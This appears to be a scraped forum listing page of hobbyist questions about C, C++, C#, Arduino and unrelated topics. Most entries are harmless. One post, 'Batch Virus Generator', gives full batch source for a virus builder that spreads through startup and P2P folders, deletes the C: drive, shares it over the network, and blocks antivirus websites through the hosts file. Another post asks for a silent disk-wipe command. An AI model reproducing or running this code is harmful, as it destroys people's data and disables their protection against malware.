whats the difference between C++ and C#?

Thats C plus plus and C sharp. my computer science teacher asked us and im just curious

Asked by 2fst4u 9 years ago | last reply 6 years ago

Batch Virus Generator

I made a virus generator in batch, i didnt quite look it over so yeah here it isAND the Final Batch File End up In c:\well you can delete windowsdo netsharescopy to startup folder a:\ c:\windows and like p2pStop From going to Site Using Lmhosts(Note It Doesnt Work For win 98/95) Reason set /p and cmd /c wich could can be converted 2 command /cHere are the codes ::startageecho offecho ..................echo : Virus Gen 2.o :echo : By: Vinylshakers : echo :................: echo echo · Startupecho · Copy To Windowsecho · Delete HARDRIVEecho enter name of virus Belowset /p filename=%filename%clsEcho Add To Startup? Yes or No Note:Use all LowerCaseset /p answer=%answer%IF "%answer%"=="yes" goto startgoto copyIF not "%answer%"=="yes" goto copygoto copy:copyEcho Copy TO %WINDIR% A:\ P2P FOLDER? YES OR NOset /p answer2=%answer2%IF "%answer2%"=="yes" GOTO START2:DELecho Delete Windows?set /p answer3=%answer3%IF "%answer3%"=="yes" GOTO START3echo Share c:\set /p answer4=%answer4%IF "%answer4%"=="yes" GOTO START4:lmhostecho Stop From Going To Anti-Virus Websites?set /p answer5=%answer5%IF "%answer5%"=="yes" GOTO assIF "%answer5%"=="no" exit:startecho COPY "c:\%filename%.BAT" "C:\Documents and Settings\All Users\Start Menu\Programs\startup\%filename%.bat">>c:\%filename%.batgoto copy:start:START2echo COPY "c:\%filename%.bat" "c:\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Morpheus\My Shared Folder">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\Grokster\My Grokster">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\eMule\Incoming">>c:\%filename%.batecho COPY "c:\%filename%.bat" "c:\program files\limewire\Shared">>c:\%filename%.batecho copy c:\windows\%filename%.BAT>>c:\%filename%.batECHO COPY C:\%filename%.BAT A:\COMPRESS.BAT>>C:\%filename%.BATGOTO DEL:start2:start3echo deltree /y c:\>>c:\%FILENAME%.BATecho del c:\ /y /s>>c:\%FILENAME%.BAT:start3:start 4echo net share c:\=haxor>>c:\%filename%.batgoto lmhost:start 4:assecho cmd /c "echo www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.trendmicro.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts>>c:\%filename%.batecho cmd /c "echo www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.google.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batecho cmd /c "echo messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts">>c:\%filename%.batexit:asspausePlz note that i do not take responsibility if u are causing damage to other people's computer, this batch virus gen is only for fun!

Posted by Vinylshakers 11 years ago | last reply 10 years ago

How to learn C and C on a Mac? Answered

Is there any other compiler other than xCode because i lost my starting disk. or is there a way to download xcode?

Asked by mac_is_awesome 9 years ago | last reply 9 years ago

Is There Any C++ Client For Mac? Answered

Aside from dashcode, is there any c++ client similar to visual c++ studio 2008 express for mac osx

Asked by robots199 9 years ago | last reply 9 years ago

C++ audio

Where can I learn about how to program audio in C++? I already know many of the the basics of C++, but I really want to get into audio programming.

Posted by 8bit 9 years ago

I heard that arduino is based on C if I learn C++ will I still be able to program an arduino?

The title basically says it all If I learn C++ will I still be able to program an arduino or should I learn C first. The creator of C++ said to just learn C++ before C but other things say to just learn C before C++. I really just have to learn how to program an arduino but I still want to pick up one (or both) of these languages. I have an arduino and the book below. thank you

Asked by kiss my donkey 9 years ago | last reply 9 years ago

Shuld I take lessons on C or Embedded C to programme arduino ?

Hi folks, I want to learn arduino programming..but I don't have any programming experiences.I'm thinking about taking some C language lessons.will C help me to programme arduino?  and I also heard that there is another language called Embedded C.I'm confused which C language should I learn to programme arduinos?

Asked by mzee233 6 years ago | last reply 6 years ago

Music notation question.? Answered

If in a key where C is sharp,  a note is written a B sharp.  That note is a C.  Is it supposed to be played C or C sharp?

Asked by Re-design 6 years ago | last reply 6 years ago

C programming

Hey, I would like to start learning C (yes, I want to learn C, not C++, because so then I will be able to prgram the Arduino), so I wondered if any of you guys know a good tutorial or a good book on how to learn C. Sorry my english is not good, I do not live in an english speaking country. SKC

Asked by Balls of Kevlar 7 years ago | last reply 7 years ago

C Programming Answered

Hey, I would like to start learning C (yes, I want to learn C, not C++, because so then I will be able to prgram the Arduino), so I wondered if any of you guys know a good tutorial or a good book on how to learn C. Sorry my english is not good, I do not live in an english speaking country. SKC

Asked by Balls of Kevlar 7 years ago | last reply 7 years ago

C/C++ (CPP or C Plus Plus) Programs -- Will Write, money is used to goto College

Hi, I am writing programs for people in C or C++ to earn money for College. I have been programming for many years and have a good amount of experience. If you would like something made, please private message me or leave a comment below. I will try to get back to you as soon as possible. Thanks  

Posted by Ebay 8 years ago

How Do I begin to program in c without a microcontroller

How would i get started writing programs in C/C++ on the computer for free. I would like to be able to write simple games.

Posted by sotsirh194 10 years ago | last reply 10 years ago

does "format C: \q" wipe the disk clean without asking you if you want it to, or is it "format C: /q" or something else? Answered

I'm not sure what command in batch will wipe the disk clean without asking you to confirm you want it to do so, I know "format C:" won't do it, but I heard "format C: /q" or "format C: \q" will mange. Please tell me what batch command will do it.

Asked by BlackHoleMan 9 years ago | last reply 8 years ago

c compilier

Where can i get a free c compilier because ive been using djggp and its has a limited source bytes i want unlimited source bytes

Posted by cris1133 10 years ago | last reply 4 years ago

C&C RA2 lags in Linux

I have C&C; Red Alert2 installed via WINE, and it played fine but suddenly began lagging unbelievably after a LAN match.

Asked by S1ko_shadoe 9 years ago | last reply 9 years ago

C# key word list? Answered

I'm looking for a list of keywords used in c# that also includes there definitions. I'd like it so i can print it out

Asked by hightekrednek2396 7 years ago | last reply 7 years ago

R/C planes

Have any of you flown any R/C planes gas or electric?

Posted by Superninjacamper941 10 years ago | last reply 8 years ago

Programming the iRobot

Does anyone now what language the robot can be programmed in? C, C++, C#, Java, BASIC. Anyone know?

Posted by sardines454 11 years ago

How do i make a R/C car for a low cost?

Asked by GLaDOS V3 6 years ago | last reply 6 years ago

C++ Keylogger

Im posting this forum to find out what you people think about posting a instructable about a kelogger..... any ideas?

Posted by B.F.L.M 9 years ago | last reply 2 years ago

What is the best book for learning Python and C++?

I want to learn python and C++ but I want a couple of good books to learn those with. What books do I need if I want to start?

Asked by nerd7473 5 years ago | last reply 5 years ago

free example Assembler and C programs. Examples

Ftp://fets.user32.com username: ian password: blank, no password required.

Posted by turnbui 4 years ago

Progress Bar in C#?

I am making a C# program that loads a web page.  I would like to make a progress bar on the status bar to tell the web page's loading progress.  Any Help? Thanks in advance.

Asked by drmjj55 8 years ago | last reply 8 years ago

Where can i find a C program? Answered

Asked by Aadhithyan 2 years ago | last reply 2 years ago

K'Nex C' Bows

Hey I have a question... what you think 'bout my C' Bow? I'll put up an Instructable for it soon! =)

Posted by ThaJuzz 10 years ago | last reply 6 years ago

what is the best size pump for a homemade A/C?

I'm making a homemade A/C for a 4 H project and wanted to know the best size pump for it

Asked by apickens16 6 years ago | last reply 6 years ago

hi i'm new, i wana code arduino led interface in C#?anyone hlp plzzz?

I want to code ov arduino in C#, i dn have idea about C#!! i need help urgntly :(

Asked by s_mehak 4 years ago | last reply 4 years ago

R/C Car

Hi, I had this r/c car, but I had lost the top, can anyone help vme figure out what to do with it? how can I make a top with plastic? And sorry, but the pics were a little blurry, (the camera was out of focus) but you can still see the basic shape

Posted by zack247 9 years ago | last reply 8 years ago

Does any one know any good java / c++ / c# tutorials on the net?

I'm looking into coding, but no one happens to do a good tutorial! If some one could post one on Instructables that would be even better. Would any one recommend coding as a job for an up-coming member of society? (I'm not there yet.)

Asked by Kryptonite 9 years ago | last reply 4 years ago

how do you test for vitamin C in orange juice using cornstarch and iodine??

Helping my son with a science fair project

Asked by ranchosmith 7 years ago | last reply 7 years ago

how do I factor c cubed + 27??

Asked by NinaBina 9 years ago | last reply 7 years ago

RIP Arthur C Clarke

PAssed away, aged 90 :-(

Posted by Kiteman 10 years ago | last reply 10 years ago

C voice lessons?

Hiya! I just got a new Sansa fuze for Xmas (8 gigs, Installed Rockbox, IT ROCKS!!!) and I wana start learning C. I actually already started, But I best process info when I hear it. Where can I find simple English (Russian or Hebrew also welcome) lessons of the C programming language? I have learned the basics of both C# and VB 5.0, So it don't have to be THAT easy... any help?

Asked by netbus 8 years ago

How do you have a C# program look for a file in a directory and if it isnt there generate it? Answered

I would like it to check for a text file named Username.txt in the same drive (ex C:/) as the program, and if it isnt there, generate it? Where in the source would the code go?

Asked by drmjj55 8 years ago | last reply 8 years ago

how to generate a signal (pulse) with c# using usb port

For my application , I need to generate a signal wich contains 2 pulses , 1 of 150 ms and the other of 427 ms , seperated with a duration of X ms , using the usb port of my computer and c#

Asked by isalhi 4 years ago | last reply 4 years ago

arduino interfacing with ps2 keyboard

Simple_Testmodify.cpp: In function 'void setup()': Simple_Testmodify:34: error: no matching function for call to 'PS2Keyboard::begin(int&, int&)' C:\Program Files\arduino-1.0\libraries\PS2Keyboard_014A/PS2Keyboard.h:77: note: candidates are: void PS2Keyboard::begin(int) Simple_Testmodify.cpp: In function 'void loop()': Simple_Testmodify:52: error: 'begin' was not declared in this scope THE ABOVE ERROR WAS SHOWN ON VERIFICATION OF THE PROGRAM KINDLY ADVICE THIS WAS THE CODE I USED TO INTER FACE PS2 KEYBOARD WITH ARDUINO UNO  #include int DataPin = 8; int IRQpin =  3; PS2Keyboard keyboard; void setup() {   delay(1000);   keyboard.begin(DataPin,IRQpin);   Serial.begin(9600);   Serial.println("Keyboard Test:"); } void loop() {   if (keyboard.available()) {     char PS2_ENTER;     char PS2_TAB;     char PS2_ESC;     char PS2_PAGEDOWN;     char PS2_PAGEUP;     char PS2_LEFTARROW;     char PS2_RIGHTARROW;     char PS2_UPARROW;     char PS2_DOWNARROW;     char PS2_DELETE;     // read the next key        char c = keyboard.read();         // check for some of the special keys     if (c == PS2_ENTER) {       Serial.println();     } else if (c == PS2_TAB) {       Serial.print("[Tab]");     } else if (c == PS2_ESC) {       Serial.print("[ESC]");     } else if (c == PS2_PAGEDOWN) {       Serial.print("[PgDn]");     } else if (c == PS2_PAGEUP) {       Serial.print("[PgUp]");     } else if (c == PS2_LEFTARROW) {       Serial.print("[Left]");     } else if (c == PS2_RIGHTARROW) {       Serial.print("[Right]");     } else if (c == PS2_UPARROW) {       Serial.print("[Up]");     } else if (c == PS2_DOWNARROW) {       Serial.print("[Down]");     } else if (c == PS2_DELETE) {       Serial.print("[Del]");     } else {             // otherwise, just print all normal characters       Serial.print(c);     }   } }

Posted by akshay12345 6 years ago | last reply 6 years ago

C++ programming...?

Hi all. i know a bit of c++. And I want to make a simple program that calculates Pi. Now, I want it to have the user input the number of decimal point thingies... and let it do the rest. BUT, it must be stoppable no matter how HUGE a number the put in... and im 12, so please try to make it as easy as possible. THANKS!

Asked by sci4me 7 years ago | last reply 7 years ago

Are the TIP31 and TIP31B or C interchangable?

I  want to make a version of https://www.instructables.com/id/LED-Music-Sync-Headphones/ but I have found three types of the TIB31.  A B and C.  Are they interchangable?

Posted by finfan7 8 years ago | last reply 8 years ago

USB type C

Greetings, USB type c please? So I have spent alot of time researching different ways to light small ornament designs. I have considered EL lighting and LED, yet, in order for these lighting techniques to work sufficiently, you need 12v of power. There are Instructables to power these lightning methods per USB, however this ofcourse only provides the lightning with 5v. What I find quite surprising however is that there are no tutorials whatsoever with the new usb type: USB-C. Since USB-C can apparently provide 20v I wonder why there is little to no information available concerning these subjects. Are there technical limitations I dont know about? If not: would anyone please help me make usb-c powered led strips ^^

Posted by zeepjes 1 year ago | last reply 1 year ago

can i get the c code for led racer game?

Asked by sajithjames 7 years ago | last reply 7 years ago

How to make an email sending program in visual C++?

Hi Instructables!      I want to make a program in visual C++ express 2010 that can send emails to any address from any address. Can you please tell me a sample code that can do this. Also please define what is the work/function of different commands or codes, whatever you want to call them, present in it if you will. Thank You,

Asked by Wisaam 5 years ago | last reply 5 years ago

C# button on a form Answered

I'm trying to make a form i have the form and the about box made i just need to assign the about box to the about button on the form does anybody know how to do that

Asked by hightekrednek2396 8 years ago | last reply 8 years ago


Hellow everyone, i kinda run into this site, and this group, and i made an acc as you can see :3 i kinda made a chat today in batch, pretty simple and using Dropbox, but i haz some ideas with powershell and using an FTP. but here is a pic of how it works and the code ofcorse! code client: @echo off SET name=%username% color 0a :main cls echo ############################# echo #welcome to the dropbox chat# echo ############################# echo. echo Make your sellection bellow! echo. echo [1]-Collor menu echo [2]-Chat name echo [3]-Chatroom echo [4]-Info (waar normaal nooit iemand kijkt) echo name: %name% echo. :sellect1 set /p C=Sellection: if "%C%"=="1" goto collor if "%C%"=="2" goto name if "%C%"=="3" goto chat1 if "%C%"=="4" goto info if Else goto main /goto main :chat1 echo %name% just joined the chat>>chat.txt goto chat :collor cls echo ############ echo #COLLORS!!!# echo ############ echo. echo pick a collor echo. echo [1]- White echo [2]- Green echo [3]- Red echo [4]- Purple echo [5]- Blue echo [6]- Yellow echo. echo [0]- Main menu echo. :sellect2 set /p C=Collor: if "%C%"=="1" color F if "%C%"=="2" color A if "%C%"=="3" color C if "%C%"=="4" color D if "%C%"=="5" color B if "%C%"=="6" color E if "%C%"=="0" goto main goto collor :name cls echo ############### echo #create a name# echo ############### echo. echo Type in your name (please dont use spacebar) echo. :sellect3 set /p C=Name: SET name=%C% goto main :chat cls echo ######## echo #-CHAT-# echo ######## echo. echo Every msg you type will be added in the chat.txt file, echo so chek on that file for the chat. echo. :sellect3 set /p C=: echo [%time%] %name%:%C%>>chat.txt if "%C%"=="/clear" goto del if "%C%"=="/afk" echo %name% is currently afk>>chat.txt if "%C%"=="/back" echo %name% is no longer afk>>chat.txt if "%C%"=="porn" echo %name% is a perv>>chat.txt goto chat :del del chat.txt goto chat code reader: @echo off :1 cls type chat.txt PING -n 2>nul goto 1 thats a bit it, kinda simple i know, but its fun to use and fun to make, feedback is always welcome! ^__^ have a great day/night bye!

Posted by dwngrt 6 years ago | last reply 6 years ago

I have an A-C adapter with adjustable voltage..

It can put out several different D-C voltages. It only puts out 2.1 amps. Does anyone know how to increase the amperage output?

Asked by topothemtn 9 years ago | last reply 9 years ago

r/c and arduino communications

How do I check to see if my values for my reciever match the values in the r/c lawnmower code. It says if they don't to change them. But, I don't know how to check them.

Posted by mfm5024 8 years ago | last reply 8 years ago

How does one transfer data from a c# program to an arduino module via the internet? Answered

Could someone throw me a link or two to a tutorial or article that could assist one in learning how to transfer data from a c# program (using windows api) to an arduino module over the internet? I've found some tutorials on controlling the arduino through a web browser but nothing that shows how to do data transfer from a c# program.

Asked by fdsafdsaqwrewqrbsafdsagrgew 6 years ago | last reply 6 years ago

simulation error? Answered

Main:irin [1000,main],C.3,b0 if b0=16 then ahead if b0=18 then right if b0=19 then left ahead:high C.0,B.5 ,C.1,B.4 pause 300 goto main right: high B.5,B.4 pause 300 goto main left: high C.0,C.1 pause 300 goto main this is the code when i try to simulate it  the programming editor says variable not found can you please tell me the reason

Asked by robot1398 7 years ago | last reply 7 years ago

How to program in C/C++

Wow, I haven't been on for a long time, anyway, does anyone know how to get started in C/C++ programming? I am looking to buy a gp2x to write applications for, and these are the other languages that it will accept, Assembler CACK Fenix Pascal GLBASIC Python Ruby Sdlbasic So what should i learn first, C++ or the other ones, an if you answer could you point me to a good book or guide?

Posted by Steamdnt 9 years ago | last reply 9 years ago